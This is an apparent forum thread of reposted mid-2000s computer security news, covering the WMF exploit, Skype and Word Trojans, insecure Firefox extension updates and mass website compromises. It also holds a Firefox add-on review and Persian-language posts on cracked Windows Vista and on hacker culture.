Nightwork is based on an earlier book entitled The Journal of the Institute for Hacks, TomFoolery, and Pranks at MIT.

Several excerpts from Nightwork are available online from the MIT alumni website:

Where No Cow Has Gone Before: Accessing the Inaccessible

Hacking Ethics

Hack, Hacker, Hacking

IHTFP

The Case of the Disappearing President's Office

Where the Sun Shines, There Hack They

[RedWine]

There wasn't a lot of holiday cheer for Microsoft's Security Response Center late last year.

Just a few days after Christmas 2005, criminals had found a new way to attack. By taking advantage of an unpatched bug in the way Internet Explorer processed an obscure graphics format, called WMF (Windows Metafile), they were able to install unauthorized software on PCs.

Holiday Duty
Soon reports started coming into Microsoft of malicious Web sites that were taking advantage of this bug to spread adware and spyware.

"Within 15 minutes, we were all on the phone and people were coming in and discussing it through the holidays," said Mark Griesi, senior program manager with Microsoft.

"People were literally here 24 hours a day," he said. "I really hand it to those guys. They came in and worked through the holidays ... It's a side of Microsoft that folks don't see."

A week later, Microsoft took the unusual step of issuing an emergency patch for the WMF problem. Still, critics said that the software giant had waited too long, given the scope of the attack.

Pending Attack?
So will there be another WMF-style outbreak next week?

Nobody really knows the answer to that question, of course, but recent patterns of attacks seem to suggest it may be likely. The Sobig, Blaster, and Zotob worms were all released in August, for example, the end of summer holidays in Europe and the U.S., and attackers seem to be getting better lately at timing the release of their malicious software in order to have maximum effect.

IT administrators are harder to reach, and less likely to patch software or issue workarounds during the holidays. And college-age hackers have more time on their hands to work out new attacks, or so the thinking goes.

No Seasonal Trend
Security experts generally agree that another WMF-style attack is no more likely to occur next week than any other, however.

The idea that attacks somehow spike during the holidays is "more of a fallacy than anything else, said David Marcus, security research and communications manager with McAfee's Avert Labs. "Most enterprises I've dealt with have just as much coverage during the holidays as any time of year."

Microsoft's Griesi agreed that the traditional holiday business slowdown in the U.S. does not apply to security professionals. "The holiday season doesn't affect our ability to respond," he said.

Though enterprises may be prepared for cyberattacks, the December rush of online shopping does spur certain types of online scams, Marcus said. "You'll see certain techniques become prevalent at certain times of the year," Marcus said. "You'll see some holiday spam or some charity spam."

Contingency Plans
Nevertheless, Susan Bradley plans to be a little extra-cautious over the next week, monitoring a well-known computer security discussion list for any signs of trouble. "I will be looking at the Full Disclosure list like crazy" said Bradley, chief technology officer with Tamiyasu, Smith, Horn and Braun, Accountancy.

And like Microsoft, many businesses are prepared to quickly mobilize their IT teams, in the event of an attack.

At the Port of Seattle, for example, security monitoring will continue as normal over the holidays, according to Ernie Hayden, chief information security manager with the port.

He isn't sure whether next week will bring another WMF-style outbreak, but he said he was holding to a simple mantra over the holiday season. "Be prepared. Just be a good old-fashioned Boy Scout," he said. "Don't expect that everything you're doing is going to be perfect."

[RedWine]

With Christmas fast approaching, Santa Claus reached out for a little help from Stopbadware.org this week.

The consumer advocacy group said it was approached by an Incline Village, Nevada, man who had legally changed his name to Santa Claus, who asked them to help figure out why his Web site was being flagged by Google's Web site filters.

It turned out that Santa's Web site had been hacked.

Hacked Again
On Friday, the Web site was still downloading malicious software, according to Roger Thompson, chief technology officer with Exploit Prevention Labs. It exploits a bug in Internet Explorer that Microsoft patched last August, meaning that people running older versions of the browser could be at risk, Thompson said via instant message.

"The site is hacked," he said. "If you are not patched, it uses an exploit to silently install a huge amount of adware and spyware."

The original problem was soon resolved by Stopbadware.org, but on Friday malware had again cropped up on the Web site.

Elves Have No Answers
Claus is a children's advocate who has traveled across the U.S. meeting with legislators, according to his Web site. He also makes seasonal appearances as Saint Nick.

"He had consulted local experts, which we can only assume were elves, but they were unable to identify anything wrong with his site," wrote StopBadware.org Developer Jason Callina, in a Thursday blog posting.

"Nestled all snug in the bottom of his homepage was a nice little bit of code containing a badware link," he added.

The problem was soon resolved "and the workshop is once again a safe place," Callina said.

Blame The Grinch
Stopbadware.org was founded earlier this year, with funding from Google, Lenovo, and Sun Microsystems as a community watchdog organization to help protect consumers from malicious software like spyware and viruses.

Callina said he's learned something from the Santa Claus experience.

"The moral of the story is that the Grinches who are looking to spread their unsafe software are willing to hack even Santa's Web site."

[RedWine]

Hackers are exploiting a new, unpatched vulnerability in Microsoft Word that could allow them to take control of a victim's computer, Symantec has warned.

The zero-day vulnerability is the fourth in Microsoft's widely-used Word 2000 software that has not yet been patched, the security company said in its Security Response Warning.

A zero-day vulnerability refers to a security hole for which exploits are already available when it was discovered. This latest one affects most versions of Windows running Word, Symantec's advisory said.

"Extremely Critical"
Danish security vender Secunia ApS also reported the vulnerability, and rated it as "extremely critical," its highest-level warning. Microsoft, however, said the attacks are "very limited."

The attack comes via an infected Word document, a method increasingly used by hackers for targeted attacks. If the document is opened, it installs a Trojan horse program, called Trojan.Mdropper.W, onto the computer, Lau wrote. The Trojan also puts other files on a computer that enable a hacker to control it.

Microsoft released three sets of critical patches on Jan. 9, including ones for Outlook, PowerPoint and Windows, but not for Word.

Word Widely Used
Users can avoid trouble by not opening unexpected Word documents attached to e-mail. Hackers often spam out thousands of messages with harmful attachments, such as Trojan horse programs, hoping unsuspecting victims will open them.

Trojans often look harmless and can quietly install themselves on a computer with no visible signs. The use of Word to mount an attack can be particularly effective since the file format is so widely used.

[RedWine]

Insecurely written software still looms as one of the greatest threats to Internet commerce, and user-generated Web content is becoming a vast new vulnerability hackers want to exploit, according to experts at RSA Conference.

Cross-site scripting attacks on Web sites can lead to malware taking over the browsers of machines that use the sites, said Caleb Sima, a member of the Secure Software Forum and co-founder of SPI Dynamics.

“If you’re a business where users browse the Web [legitimately] and hackers take over a browser, they can use it as a tool to look at the internal network and send data outside the network,” Sima said.

Similarly, this can lead to hackers stealing from individual users, he said. For instance, once a browser is commandeered, a hacker can learn passwords and activities an individual uses on the Internet. “They can go to stocktrader.com and trade your stock while you’re logged in. It will do it and you won’t know it,” Sima said.

Gaming sites and social networking sites are ripe for attacks because they have such large numbers of users who are routinely sending content to and from the sites. “If [hackers] find a vulnerability in a site, they can broadcast phishing attacks. They’ll have millions and millions of victims available,” he said.

“It’s really getting rather scary,” said David Cullinane, CISO for eBay Marketplaces, a place ripe for such exploits. “It’s really getting very sophisticated.” Professional hackers looking to make as much money as possible are jumping on vulnerabilities faster than ever, he said.

In 2004, exploits using man-in-the-middle attacks to replay one-time user passwords were seen as a coming threat that would hit in volume in 2008, but they came in 2006, Cullinane said. Network protection technologies that shield Web applications could be put in place, but if hackers find ways around them, they can be too expensive to use, he said.

“If I spend $1 billion on security that’s good for six months, what’s the [return on investment] for that?” he asked.

Cullinane said insecure applications are put into production perhaps before they are thoroughly secured because customers using corporate Web sites for business want new Web interactions with the company.

“We want code that’s written properly, but other factors matter. The rate of change [in Web business applications] is amazing, and the throughput is mind-boggling. If you do too much security, you bog down the Web site,” he said.

Some businesses accept the risk of attacks because they can’t tightly secure their networks, instead waiting for fixes from security vendors that can block specific exploits using signature-based blocking, said William Geimer, a consultant with Open System Sciences, which is working on a project to secure Web sites for the U.S. Agency for International Development. “You’re hoping someone else gets burned first,” he said.

One possible cure is writing more secure software, which is still proving difficult because software designers aren’t trained to write securely; they’re trained to write programs that perform functions, Sima said. Security is an afterthought, he said.

Better frameworks for how software is written could help, said William Scherlis, computer science professor at Carnegie Mellon University. That includes looking at the software as it is being written using a hacker’s perspective to find potential vulnerabilities. “We should try to find patterns of behavior against the application that might damage the site,” he said.

Sima wasn’t very hopeful about that approach -- thinking like hackers is tough, he said. Hackers’ strength is thinking outside the box, he said, and it’s not possible to identify all the places they might attack an application. “Things like threat modeling are hard to create.”

He encouraged audience members to make sure that programmers have all their applications verify every piece of input they accept before acting on it. Just that one step, if followed religiously, could eliminate 80% of attacks, he said.

[RedWine]

با گذشت كمتر از دو ماه از انتشار نسخه نهايي ويندوز ويستا و به*رغم تمام طراحي*هايي كه برنامه*نويسان اين سيستم عامل براي جلوگيري از كرك شدن آن انديشيده بودند، هكرهاي ايراني موفق شدند از پس ترفندهاي ضد كپي مايكروسافت برآيند و نسخه كاملاً كرك شده اين ويندوز جديد را به مشتريان ايراني خود، ارايه دهند.

نسخه كپي ويستا از شركت ت... ، اين امكان را فراهم مي*كند كه كاربر در شركت مايكروسافت صاحب يك شماره سريال (Serial Number) خصوصي شود و به اين ترتيب ويندوز خود را قانوني نمايد. اين محصول در بازار كامپيوتر ايران به قيمت 8 هزار تومان عرضه مي*شود، در حالي كه قيمت آن در بازارهاي جهاني نزديك به 650 دلار است.

اين نسخه ويندوز، نخستين نسخه*اي است كه كاربر را قادر مي*سازد به صورت كاملا قانوني ويندوز خود را در سايت شركت مايكروسافت ثبت و از امكانات پس از فروش اين شركت استفاده كند. به اين ترتيب هر كاربر ايراني با نصب اين ويندوز بيش از 640 دلار به صورت غير قانوني سود مي*برد.

هنوز از عكس*العمل مسوولان شركت مايكروسافت درخصوص كرك شدن نسخه نهايي ويستا در ايران اطلاعي در دست نيست.

[RedWine]

DUSSELDORF, GERMANY -- Another Trojan horse is spreading through the Internet telephone network of Skype.

The malicious code, known as both Warezov and Stration, is similar to an earlier version detected in February, but with a new URL (uniform resource locator) and a new version of the malicious code, according to an alert posted Thursday by Websense.

Websense warns Skype users to watch for the message "Check up this," with a URL containing a hyperlink. The code itself isn't self-propogating but when it runs, the URL is sent to everyone on the user's contact list.

What Happens Next
When users click on the link, they are redirected to a site that is hosting a file named file_01.exe. Users are then prompted to run the file and if they do, several other files are downloaded and run. The downloaded files are other versions of the Waresov/Stration malicious code.

Once the Trojan is installed in a system, it tries to connect to a Yahoo Inc. mail server to send an SMTP (Simple Mail Transfer Protocol) message.

However, that server doesn't appear to be operating, according to Websense.

Skype, a division of eBay, offers a number of Internet-based services, including VoIP (voice over Internet Protocol) and instant messaging.

[RedWine]

A team of researchers from MIT have been able to hack into a quantum encryption-protected network. The team were able to develop a sort of quantum-mechanical wiretap and "listen in" to quantum encoded messages.

MIT physicist Jeffrey Shapiro admitted however that "It is not something that currently could attack a commercial system." Quantum encryption is used so safely, as a hack can easily be detected by a spike in the transmission error measurements.

The method developed by the MIT group is a part work-around to this detection. Approximately 40% of the encoded data was extracted before the spike was shown.

[RedWine]

Hackers can drop malicious code into systems running Mozilla Corp.'s Firefox when the browser is armed with any of several high-profile add-ons, including Google Toolbar and Yahoo Toolbar, a researcher revealed today. Mozilla has acknowledged the risk posed by some extensions.

Christopher Soghoian, a Ph.D student at Indiana University, outlined how "man-in-the-middle" attackers, especially in public wireless networks, could disguise malware as a Firefox extension and surreptitiously plant their code in lieu of a normal update to one of the vulnerable extensions.

The bulk of Firefox extensions -- small plug-ins that add features or functionality, and are almost universally created by volunteer developers or hobbyists -- are hosted and updated from Mozilla's own SSL-secured site, and are not vulnerable to this attack, Soghoian said. A number of broadly used third-party extensions, however, update from their own unsecured servers.

"It's sort of a compounding of errors," Soghoian said. "Mozilla didn't tell developers that they should update from a secure link; they erred in assuming everyone would know to do that. But the add-on developers are at fault for not using a secure server."

Mozilla revised the documentation for crafting and maintaining Firefox extensions after being contacted by Soghoian to post a prominent warning that urges developers to host updates on a SSL-secured site.

Public wireless access points, like those at airports and coffee shops, would be the most likely scene of an attack, because it's relatively easy there for a hackers' laptop to mimic a legitimate update server. But Soghoian warned that other locales would be just as dangerous.

"Any network where you're not running the show puts you at risk," he said. "If you're using your neighbor's wireless, for example." Users of the Tor anonymity network would also be vulnerable, Soghoian added. "There you're trusting your DSN to someone you don't know."

He listed Google Toolbar, Yahoo Toolbar, Del.icio.us Extension, Facebook Toolbar, AOL Toolbar, Ask.com Toolbar, Netcraft Anti-Phishing Toolbar, and PhishTank SiteChecker among the at-risk add-ons, but couldn't come up with an exhaustive catalog. "I didn't have time to test every extension," he said, "so I went to Download.com and looked at the top 20."

Ironically, some, such as Netcraft's, are designed to protect users against threats. "Users think 'I'm gonna make myself safer' by installing this extension, but they end up putting themselves at risk."

One vulnerable extension -- the eBay-created, Mozilla-sanctioned add-on for French, German, and British online auction users -- was shifted to a secure server within days, Soghoian said.

Other vendors contacted by Soghoian, however, were less responsive.

"It was really frustrating. Firefox was fantastic, but some of the other firms, they either ignored my e-mails or didn't reply," Soghoian said. He fingered Google Inc. as especially uncooperative. Between April 16 and May 24 he sent Google's security team five e-mails, but received only one reply, on May 25, that said the group was working on a fix that was to be deployed before today. As of today, however, Google Toolbar was being served from an unsecured URL.

"This was really eye-opening," said Soghoian, who interned with Google's Application Security Team last summer.

"Vendors should be doing everything possible to encourage researchers," he said. "They should be encouraging us to come to them rather than sell the vulnerabilities to iDefense or Tipping Point. Ignoring researchers isn't the best way to encourage an open dialog."

Soghoian recommended that until affected extension vendors release secure updates, users should either remove or disable all Firefox extensions and toolbars that have not been downloaded from the official Mozilla Add-Ons site.

In an e-mail today, Mozilla's director of ecosystem development, Mike Shaver, admitted the danger that insecurely hosted and updated add-ons pose, and urged extension developers to fix the problem.

"We strongly encourage the providers of such add-ons to remedy their hosting situation promptly, to minimize the exposure to the users of their software," Shaver said. "Users of add-ons hosted on AMO, including all of the ones we've been working on, are not at risk here."

[RedWine]

In the battle of the browsers, Firefox clearly beats Internet Explorer in one area--the number of adds-ons (called "extensions") available for strengthening, focusing, and directing the software's power.

You can download hundreds of free extensions to make Firefox do just about anything you can imagine. But I think that the following four stand out from the rest. Give my favorites a try; they may well become yours, too.

Cooliris Previews
Surfing the Web is like walking past a series of dark alleys--before you click on a link, you can't be sure of what lies ahead. But Cooliris Previews shines a light into the dark.

Hover your mouse over a link on a Web page, and a small blue icon appears. Click the icon, and a popup window displays a thumbnail preview of the page, so you can decide whether to go there.

The popup window includes a number of useful tools, including one that lets you lock the preview window so that it stays open, another that lets you open the preview in a new tab, and another that lets you e-mail the link to a friend.

Cooliris Previews is particularly useful during searches: It helps you narrow your search results down to the most useful ones. And it really shines at video sites such as YouTube, because the video plays right inside the popup window when you click the blue icon.

The software has several other nifty features. Select any text on a Web page, right-click, and your selection becomes the basis for a keyword search of various sources, including Google and Wikipedia.

Firefox Showcase
When it comes to tabbed browsing, Firefox falls short of Internet Explorer in one area: the ability to display all open tabs in thumbnail view. Firefox Showcase fixes this shortcoming--and outdoes Internet Explorer's Quick Tabs thumbnail feature.

After installing the extension, you'll find an entirely new Showcase submenu beneath the View menu, with various options for displaying your open tabs in thumbnails, such as by arranging them in a large window that appears on top of Firefox, or by displaying them in a new tab. Or you can forgo the menu in favor of keyboard shortcuts such as <Shift>-<F12> to open the thumbnails in a large window and <Ctrl>-<Alt>-Y to display them in a tab.

The thumbnails are pretty to look at, and they're functional. Hold your mouse over one, and you can move forward or back through that tab's browsing history, reload the page, or stop loading the page.

There are dozens of options for changing how Firefox Showcase works, including ways to alter the size of the thumbnails, the thumbnails' borders, and the behavior of the mouse with regard to thumbnails. The defaults are perfectly fine for most users, however.

NoScript
The Web is a dangerous place. As you surf, malicious sites may use JavaScript and Java to exploit security holes in your browser and perform a drive-by download of malware, for example. You may not even know what hit you.

NoScript solves the problem neatly. It disables JavaScript, Java, and scripting on any Web site you visit, but lets you enable it on sites that you know are safe--such as Gmail and your online bank.

When you visit a site that has scripting on it, NoScript will post an alert at the bottom of Firefox, informing you that it has disabled scripts on the page and identifying them. If you want to overrule the program in this instance, click the Options button that appears on the lower right-hand portion of Firefox, and in one additional click you can order NoScript to let the scripts run on the site a single time or permanently.

You can also add pages to the NoScript whitelist--a list of sites that you allow to run scripts--without having to visit each site individually. Choose Tools, Add Ons, and click Options in the 'NoScript' entry; then click the Whitelist tab, and type in URLs of any sites that you want to add to the list.

NoScript comes with a starter whitelist containing Google.com, Gmail.com, and several others. Interestingly, Microsoft.com isn't on the list, though a number of Microsoft-owned sites (including Live.com and MSN.com) are.

CustomizeGoogle
Google has become many people's de facto entry point to the Internet. If you want to tweak how the search site works, you'll love CustomizeGoogle, possibly the most useful Firefox extension you'll ever see.

For example, if you don't like the ads that appear on the right-hand side or at the top of the page, you can use CustomizeGoogle to make them disappear; do a search, and they're gone. The extension can also add links to other search sites, so you can use other search engines directly from Google. And if you add a History link to each search result, it can find old versions of a Web pages. Click the link, and you'll be sent to the WayBack Machine site, which caches old versions of Web pages.

Worried that Google may invade your privacy? The extension can block cookies from being sent to the Google Analytics service, which web site proprietors use to track visitor behavior on their pages.

There's plenty more here as well, such as the ability to customize Gmail by removing ads. You'll find dozens of ways to change how Google and all its services work.

[RedWine]

Iraqi hacker and Iranian web site :

http://i19.tinypic.com/549hpwi.jpg

[RedWine]

A large-scale hack of legitimate Web sites to infect visitors' PCs is much more massive than first thought, researchers said Friday. At least 10,000 sites have been compromised, and have hijacked unpatched systems that steered to their URLs.

On Monday, Mary Landesman, a senior security researcher at ScanSafe Inc., said that she had uncovered hundreds of sites which had been hacked and were feeding exploits to visitors. Friday, Don Jackson, a senior researcher with Atlanta-based SecureWorks Inc., said the number was considerably larger.

According to ScanSafe's data, approximately 10,000 sites hosted on Linux servers running Apache, the popular open-source Web server software, have been hacked, most likely with purloined log-in credentials. Those servers have been infected with a pair of files that generate constantly-changing malicious JavaScript. When visitors reach the hacked site, the script calls up an exploit cocktail that includes attack code targeting recent QuickTime vulnerabilities, the long-running Windows MDAC bug, and even a fixed flaw in Yahoo Messenger.

If the visitor's PC is unpatched against any of the nine exploits Jackson listed, it's infected with new variant of Rbot, the notorious backdoor Trojan he called "a very nasty piece of software." The end result: The PC is added to a botnet.

Jackson's can't prove how the sites were originally hacked, but all the evidence points to the theft of log-on credentials; one reason why he came to that conclusion is that hosts that have been cleaned of the infection -- or in some cases even had Linux reinstalled -- are quickly reinfected.

"There was no sign of brute forcing [of passwords] just prior to the infection," said Jackson, "but attackers hosting companies are hit all the time with password attacks. It's part of doing business."

Earlier in the week, Landesman of ScanSafe drew a link between the security breach at U.K.-based Fasthosts Ltd., that country's largest Web hosting vendor, and the site hacks, saying then that the domains ScanSafe had found infected had, or had recently had, a relationship with Fasthosts.

Fasthosts denied such a cause-and-effect, and cited what it called "technical discrepancies" with Landesman's claims, but said it was investigating nonetheless.

Friday, Landesman said more data during the week had made her change her mind about the link to Fasthosts. "There are a great deal more of these [compromised] sites than earlier," she said Friday. "There are a number of them that can be traced to Fasthosts, but not all of them do."

Like Jackson, Landesman remained convinced that the hacks were possible because of stolen log-on usernames and passwords. "From everything we have it does point to some kind of compromise of usernames and passwords," she said. "My theory remains that the eventual source of the compromise is going to be a fairly finite number [of hosting companies]."

Jackson stressed that while the site hacks were done sans a true vulnerability, the Apache feature used by the hackers -- "dynamic module loading" -- is little known by most site administrators, making it extra difficult for all infected sites to cleanse themselves.

More to the point, said Jackson, administrators must change every password on the infected server; failing to do so has led to quick reinfections on some hosts. "All passwords must be changed," he said, "not just FTP and Cpanel passwords." There's some evidence, he said, that other passwords besides those for FTP and Cpanel -- a popular server control panel program -- have been used to access the hacked sites.

Other clues led Jackson to speculate that the attackers are not the usual cyber criminals based in Russia or China, but are likely from North America or western Europe. The code for the hacking and file upload tools lack any comments written in Russian or Chinese, which is normally the case when an attack originates in Russia or China. Instead, the comments and code snippets are in English only. "Almost all the hacking business in western Europe is done in English," Jackson said, mentioning Germany specifically.

Users can protect themselves from attack by making sure all software on their systems is patched and that their security software signatures are up-to-date. Web site administrators, on the other hand, should disable dynamic loading in their Apache module configurations.

[RedWine]

If last November you googled one of thousands of innocuous and common search terms, such as "Microsoft excel to access" or "how to teach your dogs to fetch," you were in line for an Internet attack that infects PCs with spam senders, password stealers, and other kinds of nasty malware.

Beginning on November 24 and continuing for less than a week, bad guys loaded up more than 40,000 Web pages with malicious software and thousands of common search terms. They then employed an automated network of malware-infected computers--known as a botnet--to link to those sites in blog-comment spam and other places. The mentions elevated the position of the poisoned sites in search results, often to the first page.

Click Here for Free Attack
The malicious sites had no useful information. Instead, a simple click on a link to such a site in the search results was enough to launch attacks against your PC. If the attack found any of a number of vulnerabilities in a range of programs, it would load.

"This was a massive wave," says Alex Eckelberry, president and CEO of security firm Sunbelt Software.

The attack marks a new level of sophistication, using multiple techniques to raise site visibility in search results and deliver malware to a mass audience.

Sunbelt researcher Adam Thomas happened upon the attack when he ran a search of "netgear ProSafe DD-WRT" for router firmware. His trained eye saw a suspicious-looking result on the first page. More research and digging on other phrases turned up the vast array of attack sites.

None of the sites from this wave, or a smaller follow-up group, appear now on Google, and Eckelberry and other experts believe the search giant has blocked those specific domains. But Google isn't saying what it did to stop this attack, or whether measures are in place to halt a recurrence.

[RedWine]

کلمه "هکر" از اواسط سال 1960 به گوش رسيد. هکر به برنامه**نويسی گفته شد که مي*توانست کدهای رايانه*ها را کشف و استفاده کند.
هکرها افرادی بودند که مي*توانستند راه*های جديد برای استفاده از رايانه*ها پيدا کنند و برنامه*هايی درست کنند که هيچ*کس ديگری قادر به انجام آن*ها نبود. آن*ها مههترين افراد کليدی در شرکت*های بزرگ ساخت رايانه*ها بودند و از کوچکترين برنامه*ها تا سيستم*های عامل را طراحی و اجرا مي*کردند.
از اين حيث افرادی همچون "بيل گيتس" و "استيو جابز" هم هکر بودند زيرا مي*دانستند که رايانه*ها چه قابليت*هايی دارند و راه*های استفاده از اين قابليت*ها چگونه است.
اما در ميان هکرها، افرادی که حس کنجکاوی بيشتری داشتند علاوه ساخت برنامه*های جديدی برای رايانه*ها، گذری هم بر ديگر برنامه*های رايانه مي*کردند و از چند و چون آن*ها مطلع مي*شدند.
هکرها در واقع همان افرادی بودند که زمانی که يک "باگ" که مشكلى برای رايانه*هاست به رايانه*ای وارد مي*شد با کدگذاري*های صحيح مي*توانستند آن را از بين ببرند و در قبال اين کار هم پول دريافت مي*کردند.
با گذشت زمان و پيشرفت رايانه*ها و بيشتر شدن تعداد برنامه*نويسان رايانه*ها که همگی مهندسين خبره بودند نام "هکر " وجهه مثبت خود را از دست داد. هکرها به افرادی اطلاق شدند که به شبکه*هايی وارد مي*شدند که ارتباطی به آنان نداشت.
اين در حالی بود که بيشتر اوقات هکرها قصد فضولی يا اختلال در کارها را نداشتند و تنها اين*کار را برای آن انجام مي*دادند که بدانند شبکه*ها چطور کار مي*کنند و موانع را از ميان بردارند تا به دانش خود بيفزايند.
حقيقت آن است که امروزه هم ماجرا از همين قرار است. در حالی که بسياری از افراد هکرها را افرادی مي*دانند که ويروس به رايانه*ها منتقل مي*کنند و در شبکه*ها و سيستم*های رايانه*ها اختلال ايجاد مي*کنند، هکرها تنها به خاطر حس کنجکاوی و در آوردن رمز و راز رايانه*ها دست به رمز گشايی مي*زنند. بسياری از آنها مي*توانند دانش خود را برای کمک به دولت*ها به کار گيرند و راه*های حفاطتی و امنيتی را نشان داده و سودمند باشند.
بسياری از برنامه نويسان رايانه*ها اصرار دارند که کلمه "هکر" به افرادی تلقی شود که از علم خود در راه سودمند استفاده مي*کنند و برای شبکه*های مختلف رايانه*ای مفيد هستند.
آن دسته از افرادی که دست به خرابکاری مي*زدند و رمز گشايي*های نابه*جا مي*کنند را بايد "کراکر" خواند که با هکرها بسياری متفاوتند. مردم عادی تفادت بين هکرها و کراکرها را نمي*دانند و به همين علت است که هکرها هميشه اسامی هستند که چهره منفی دارند و به اختلال دست می زنند.
ابزار هکرها
هکرها برای انجام کارهای خود علاوه بر نبوغ به وسيله ديگری نيز احتياج دارند که کد رايانه است. در حالی که انجمن*های بسياری از هکرها در اينترنت وجود دارد، تنها تعداد کمی از هکرها کدگذاری مي*کنند. بسياری از هکرها کدهايی را دانلود مي*کنند که ديگران آنها را نوشته و برنامه*ريزی کرده*اند.
ده*ها هزار برنامه وجود دارد که هکرها برای کشف ديگر رايانه*ها و شبکه*ها از آنها استفاده مي*کنند که به آنها قدرت مي*دهد تا بتوانند وارد سيستم شوند. تعجبی ندارد که وقتی هکرها با هوش بالای خود مي*توانند برنامه نويسی کنند، هم زمان مي*توانند برنامه*های رايانه*های ديگر را هم بازبينی و رمز گشايی کنند.
هکرهای بدخواه (کراکرها) از برنامه*ها استفاده مي*کنند تا:
-کلمه*های عبور (پس*ورد) را در آوردند: راه*های بسياری وجود دارد که هکرها مي*توانند رمزهای شخصی افراد را بازگشايی کنند. از حدسيات گرفته تا الگوريتم*هايی که ترکيبات حروف و اعداد و سمبل*هاست.
- رايانه مورد هدف را ويروسی کنند: ويروسی کردن رايانه*ها مشکلات زيادی را برای فرد پديد ميآورد. از بهم ريختن تمامی برنامه*های روی سيستم تا در آمدن انواع رمزهای داخلی از جمله آنهاست.
- کنترل رد پاهای استفاده کننده: برنامه*هايی وجود دارد که اين امکان را مي*دهد که فرد مهاجم تمامی نقاطی را که صاحب رايانه طی کرده است دقيقا پشت سر او طی کند و به تمامی اطلاعت لازم دسترسی پيدا کند. پيشروی در اين راه مي*تواند حتی منجر به دزديدن تمامی اطلاعات شخصی فرد شود. دسترسی به شبکه*ها: برنامه*هايی هم توسط هکرها يا بهتر بگوئيم کراکرها نوشته مي*شود که مي*تواند راههايی را شناسايی کند که در سيستم*ها محافظت نمي*شوند و مي*تواند به راحتی رايانه*ای را به طور کامل تحت کنترل قرار دهد. معمولا رايانه*هايی که در روزهای اوليه خريداری شدن وارد اينترنت مي*شوند به راحتی مورد حمله اين نوع برنامه*ها قرار مي*گيرند.
استفاده از رايانه*هايی که مي*تواند با دارا بودن شرايط ويژه وارد ديگر رايانه*ها شده و کدها را شناسايی کند هم بسيار متداول است در اين حال فرد مهاجم مي*تواند از رايانه شخص مورد نظرش حتی پست*های الکترونيکي*های مورد نظر خود را به افراد مختلف ارسال کند بدون اينکه صاحب رايانه حتی منوجه شود.
جستجو در پست*های الکترونيکی: هکرها مي*توانند کدهايی را بسازند که مي*تواند وارد ايميلهای افراد شود و اهداف خودر ا به راحتی عملی سازد.
آنها هميشه مخرب نيستند
هکرها معمولا زمانی که از طرف دولت و يا حتی دوستانشان مورد صحبت قرار مي*گيرند خود نيز اعتراف مي*کنند که با دانايی بالايی که دارند مي*توانند دست به کارهای فوق العاده*ای بزنند که مي*تواند خرابي*هايی هم به بار بياورد. اما بسياری از آنها ادعا مي*کنند که استفاده از اين کار حرفه*ای را نه برای آسيب زدن، بلکه برای دانايی بيشتر از رايانه و اينترنت دنبال می کنند.
از سويی هم به نظر مي*رسد که اينترنت و ارتباطات جهانی خود سبب شده است تا اختلافاتی ميان هکرهای مختلف در سراسر دنيا بوحود آيد.
هکرهای "کلاه سياه" که شغلشان انتقال ويروس*ها و به بار آوردن خرابي*هاست و "هکرهای کلاه سفيد" که کارشان خرابکاری نيست و تنها سيستم*های امنينی را مورد ارزيابی قرار مي*دهند، معمولا با هم در تضاد بسياری هستند.
علی رغم درگيري*هايی که بسياری از اوقات ميان هکرهای کلاه سفيد با هکرهای کلاه سياه بوجود مي*آيد سالانه در سراسر دنيا انجمن*هايی از هکرها تشکيل مي*شود که معمولا تبليغی برای رفتارهای صحيح در حيطه رايانه است و در عين حال ده*ها هزار برنامه مختلفی که به تازگی وارد بازار شده معرفی مي*شوند و مسابقه*هايی هم در اين زمينه برگزار مي*شود.
هکرهای معروف دني